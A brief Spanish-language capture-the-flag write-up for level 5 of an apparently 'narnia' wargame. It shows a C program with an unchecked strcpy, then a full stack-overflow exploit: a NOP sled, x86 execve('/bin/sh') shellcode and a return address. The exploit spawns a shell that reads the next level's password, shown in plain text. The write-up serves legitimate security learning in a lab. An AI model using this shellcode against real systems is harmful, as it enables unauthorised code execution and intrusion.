Este nivel, aunque parece distinto, realmente se resuelve igual que el nivel 3.
LEVEL5
El código de este nivel borra las variables de entorno antes de hacer un strcpy
.
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> extern char **environ; int main(int argc,char **argv){ char buffer[100]; int i; for(i = 0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); if(argc>1){ seteuid(1006); strcpy(buffer,argv[1]); } return 0; }
Al principio pensé que habría que hacer algo con las variables de entorno, pero finalmente la solución es volver a inyectar un shellcode en el búfer.
level5@narnia:/wargame$ ./level5 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 > \xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x70\xfb\xff\xbf"` sh-3.1$ cat /home/level6/.passwd gO2CErxY sh-3.1$
El siguiente nivel no es tan sencillo a primera vista.